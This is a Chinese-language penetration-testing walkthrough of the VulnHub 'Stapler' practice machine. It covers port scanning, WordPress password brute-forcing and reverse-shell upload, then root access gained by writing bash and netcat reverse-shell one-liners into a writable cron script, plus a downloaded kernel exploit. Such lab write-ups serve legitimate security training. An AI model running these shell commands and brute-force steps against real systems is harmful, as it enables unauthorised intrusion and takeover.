打靶思路
资产发现
主机发现
服务发现
漏洞发现(获取权限)
21端口/FTP服务
组件漏洞
口令漏洞
139端口/SMB服务
组件漏洞
口令漏洞
666端口/doom服务
组件漏洞
其它漏洞
80端口/HTTP服务
组件漏洞
URL漏洞
12380端口/HTTP服务
组件漏洞
URL漏洞
12380端口/HTTPS服务
组件漏洞
URL漏洞
提升权限
www-data用户
sudo
suid
cron
内核提权
信息收集
JKanode用户
sudo
suid
cron
内核提权
信息泄漏
peter用户
sudo
1、资产发现
1.1、主机发现
本次靶机STAPLER[1]指定IP,不涉及主机发现过程。
1.2、服务发现
使用命令sudo -u root nmap 172.16.33.79 -n -Pn -p- --reason -sV -sC -O
,发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 | 提供的服务 | 使用的组件 | 组件的版本 |
21/tcp | ftp | vsftpd | 2.0.8 or later |
22/tcp | ssh | OpenSSH | 7.2p2 |
53/tcp | domain | dnsmasq | 2.75 |
80/tcp | http | PHP cli server | 5.5 or later |
139/tcp | netbios-ssn | Samba smbd | 4.3.9 |
666/tcp | doom? | ? | ? |
3306/tcp | mysql | MySQL | 5.7.12 |
12380/tcp | http | Apache httpd | 2.4.18 |
- | os | Ubuntu Linux | ? |
2、漏洞发现(获取权限)
2.1、21端口/FTP服务
2.1.1、组件漏洞
使用命令searchsploit vsftpd 2.0.8
未发现组件vsftpd 2.0.8的Nday漏洞。
2.1.2、口令漏洞
使用命令ftp 172.16.33.79
连接FTP服务,使用匿名账户anonymous
和空口令
登录,发现一个用户名Harry
。使用命令ls -a
查看文件,发现没有查看权限,使用命令bye
退出FTP服务。
基于刚才发现的harry
用户,使用命令hydra -l harry -P /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt 172.16.33.79 ftp
,未发现弱口令。
2.2、139端口/SMB服务
2.2.1、组件漏洞
使用命令searchsploit Samba 4.3.9
,未发现组件Samba smbd 4.3.9的Nday漏洞。
2.2.2、口令漏洞
使用命令smbclient -L 172.16.33.79
和空口令
查看有什么东西,发现kathy
。使用命令smbclient //172.16.33.79/kathy
和空口令
登录SMB服务,使用ls
发现两个目录,使用cd <路径>
进入目录并使用get <文件>
下载文件,最后使用quit
退出SMB服务。
逐个查看下载的文件,无有价值信息。
2.3、666端口/doom服务
2.3.1、组件漏洞
使用命令searchsploit doom
,未发现doom服务相关组件的Nday漏洞。
2.3.2、其它漏洞
使用命令nc 172.16.33.79 666
连接端口,返回一堆乱码,疑似一个文件。使用命令nc 172.16.33.79 666 > file
将乱码保存到file
文件中,并使用命令less file
查看,发现开头是PK
,这是压缩文件的标志。
使用命令mv file file.zip
为文件添加zip后缀,使用命令unzip file.zip
进行解压,获得message2.jpg
文件。使用命令less message2.jpg
查看,发现提示If you are reading this, you should get a cookie!
,难道%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
和&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
是cookie?
2.4、80端口/HTTP服务
2.4.1、组件漏洞
0x01、Web中间件
使用命令searchsploit PHP cli server
,未发现Web中间件PHP cli server的Nday漏洞。
0x02、Web框架
使用浏览器插件Wappalyzer,未发现存在Nday漏洞的Web框架。
2.4.2、URL漏洞
0x01、直接访问
打开http://172.16.33.79/
,是404页面,没有收获。
0x02、目录扫描
使用命令dirsearch -u http://172.16.33.79/ -x 403
扫描网站的目录和文件,无有价值的收获。
0x03、模糊测试
基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。
0x04、切换协议
探测HTTPS协议,访问https://172.16.33.79/
,无响应。
2.5、12380端口/HTTP服务
2.5.1、组件漏洞
0x01、Web中间件
使用命令searchsploit Apache httpd 2.4.
,未发现Web中间件Apache httpd 2.4.18的Nday漏洞。
0x02、Web框架
使用浏览器插件Wappalyzer,未发现使用Nday漏洞的Web框架。
2.5.2、URL漏洞
0x01、直接访问
浏览器打开https://172.16.33.79:12380/
,提示网站正在开发中,无收获。
0x02、目录扫描
使用命令dirsearch -u http://172.16.33.79:12380/ -x 403
扫描网站的目录和文件,但是速度过于缓慢,直接放弃。
0x03、模糊测试
基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。
0x04、切换协议(这个步骤原本SOP是没有的,感谢这个靶机)
尝试HTTPS协议,访问https://172.16.33.79:12380
,有响应,说明有使用HTTP协议。
2.6、12380端口/HTTPS服务
2.6.1、组件漏洞
0x01、Web中间件
2.5.1已经排查过,不再排查。
0x02、Web框架
使用浏览器插件Wappalyzer,未发现存在Nday漏洞的Web框架。
2.6.2、URL漏洞
0x01、直接访问
直接访问https://172.16.33.79:12380
,提示是内部页面,没有其它信息。
0x02、目录扫描
使用命令searchsploit -u https://172.16.33.79:12380/ -x 403
扫描网站的目录和文件,发现/phpmyadmin
文件和/robots.txt
文件。
打开/robots.txt
文件,发现新的文件路径/admin112233
和/blogblog
。
打开/admin112233
文件, 提示需要带上cookie来访问。使用前面666端口拿到的疑似cookie来构造请求,但是没用。
打开/blogblog
文件,发现使用WordPress
搭建的。
使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks
扫描WordPress,逐个检查扫描结果,无收获。
使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --enumerate u
扫描WordPress用户,发现还不少。
使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --usernames john,peter,barry,heather,garry,elly,harry,scott,kathy,tim --passwords /usr/share/wordlists/rockyou.txt
爆破WordPress用户的密码,发现还不少。
在https://172.16.33.79:12380/blogblog/wp-login.php
逐个登录,都是普通用户,没法get shell,还好最终扫出了管理员John Smith。
想通过编辑当前主题的php文件的方式写入反弹shell,但是没有write权限。
想通过编辑当前插件的php文件的方式写入反弹shell,但是也没有write权限。
在插件这儿看到一个Add New
的功能,可以Upload Plugin
,那能不能上传反弹shell文件呢?尝试一下发现需要FTP服务器账号密码,使用匿名账号anonymous
和空口令
竟然没报错。后来测试,步骤6空着也能上传。但是上传请求并未返回文件保存路径,前端翻找也并未发现。
想起前面wpscan有扫出一个文件上传路径https://172.16.33.79:12380/blogblog/wp-content/uploads/
,当时访问是空的,现在访问竟然看到了上传的反弹shell文件。在本地使用命令nc -nvlp 3379
监听端口,然后访问反弹shell文件,最终获得了反弹shell。
0x03、模糊测试
基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。
3、提升权限
3.1、www-data用户
3.1.1、sudo
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,提示没有tty无法使用交互式的身份验证程序。使用命令which python3
发现系统安装了Python3,使用命令python3 -c "import pty; pty.spawn("/bin/bash")'
h获得交互式tty。
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,提示需要输入www-data用户的密码。由于我们没有,因此只能放弃。
3.1.2、suid
使用命令find / -perm -u=s -type f -ls 2>/dev/null
查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。逐个在GTFOBins[2]查阅哪个命令能用于提权,发现一个都不行。
3.1.3、cron
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null
查看定时任务,没有结果。使用命令find /var/spool/cron/ -type f -ls
不隐藏报错,发现是没有查看权限。
使用命令find /etc/*cron* -type f -ls 2>/dev/null
查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt
和grep '\*' /tmp/cron.txt
查看定时任务内容,发现root用户每5分钟会执行一次/usr/local/sbin/cron-logrotate.sh
脚本。
使用命令ls -l /usr/local/sbin/cron-logrotate.sh
查看脚本权限,发现other用户有read和write权限。使用命令cat /usr/local/sbin/cron-logrotate.sh
利用read权限查看脚本内容,发现只有一个备注。使用命令echo "bash -i >& /dev/tcp/10.8.0.110/4444 0>&1" >> /usr/local/sbin/cron-logrotate.sh
利用write权限往脚本中写入反弹shell,并使用命令cat /usr/local/sbin/cron-logrotate.sh
确认反弹shell已经成功写入脚本文件。
本地使用命令nc -nvlp 4444
一直没有获取到反弹shell。使用命令grep root /etc/passwd
发现root用户的shell是zsh,难怪用bash反弹不了。改为nc,使用命令echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.0.110 4444 >/tmp/f" > /usr/local/sbin/cron-logrotate.sh
往脚本中写入反弹shell,并使用命令cat /usr/local/sbin/cron-logrotate.sh
确认反弹shell已经成功写入脚本文件。
本地使用命令nc -nvlp 4444
最终获得root用户的反弹shell,成功提权。
3.1.4、内核提权
在靶机上使用命令uname -r
发现系统内核版本是4.4.0-21
,使用命令cat /etc/*release
发现系统发行版本是Ubuntu 16.04
。
在本地使用命令searchsploit 4.4.0-21 Ubuntu Linux 16.04 Privilege Escalation
,发现两个本地提权的EXP,使用命令searchsploit -m
将EXP拷贝到本地,使用命令gcc-o <最终EXP> --static
编译,但报错太多,于是放弃。
看下有没其它EXP吧,在本地使用命令searchsploit Ubuntu 16.04 4.4.0-21 Privilege Escalation
,发现不少新的EXP。使用命令searchsploit -m 45010
将EXP拷贝至当前目录,使用命令gcc 45010.c -o 45010 --static
编译EXP,使用命令python3 -m http.server
开启HTTP服务给靶机下载EXP。
在靶机上使用命令wget http://10.8.0.110:8000/45010
下载EXP后使用命令chmod +x ./45010
赋予EXP执行权限,然后使用命令./45010
执行EXP,但是报错cannot execute binary file: Exec format error
。
网上查阅文档,解决linux下cannot execute binary file: Exec format error[3]提到可能是本地编译机器和靶机机器的CPU不一样导致的,那就在靶机上编译吧。使用命令wget http://10.8.0.110:8000/45010.c
下载C代码后使用命令gcc 45010.c -o 45010
进行编译,竟然一堆报错。使用命令uname -p
看了下是啥CPU,然后只能骂骂咧咧地放弃了。
3.1.5、信息收集
使用命令find /root/ -type f -ls 2>/dev/null
查看特权用户目录,未发现敏感文件。使用命令find /home/ -type f -ls 2>/dev/null
查看普通用户目录,发现大量other用户可读的文件。重点查找配置文件和日志文件,发现.bash_history
文件。
使用命令find /home/ -name .bash_history -type f -ls 2>/dev/null
列出所有.bash_history文件,文件越大说明内容越多,但最大的也才167字节,坏处是没太多东西可以翻,好处是不用翻太多东西。
逐个查看日志文件,使用命令cat /home/JKanode/.bash_history
发现免交互SSH登录命令sshpass的登录日志,泄漏了两个SSH服务的账号密码:JKanode/thisimypassword
、peter/JZQuyIN5
。
两个账户都能成功登录SSH服务,虽然不是root用户,但也算成功越权。
3.2、JKanode用户
3.2.1、sudo
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,发现当前用户没有执行sudo命令的权限
3.2.2、suid
使用命令find / -perm -u=s -type f -ls 2>/dev/null
查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。逐个在GTFOBins[4]查阅哪个命令能用于提权,发现一个都不行。
3.2.3、cron
使用命令find /var/spool/cron/ -type f -ls 2>/dev/null
查看定时任务,没有结果。使用命令find /var/spool/cron/ -type f -ls
不隐藏报错,发现是没有查看权限。
使用命令find /etc/*cron* -type f -ls 2>/dev/null
查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt
和grep '\*' /tmp/cron.txt
查看定时任务内容,和www-data
用户一样,就不重复了。
3.2.4、内核提权
和www-data
用户一样,就不重复了。
3.2.5、信息泄漏
和www-data
用户一样,就不重复了。
3.3、peter用户
3.3.1、sudo
使用命令sudo -l
查看当前用户能以谁的权限执行什么命令,发现当前用户能以任意用户的权限执行任意命令。使用简写版命令sudo su
或者非简写版命令sudo -u root su root
,以root用户的权限执行切换到root用户的命令,最终获得root用户的权限,成功提权。
参考资料
[1]
STAPLER: https://www.vulnhub.com/entry/stapler-1,150/
[2]GTFOBins: https://gtfobins.github.io/#
[3]解决linux下cannot execute binary file: Exec format error: https://blog.csdn.net/owen7500/article/details/52397353
[4]GTFOBins: https://gtfobins.github.io/#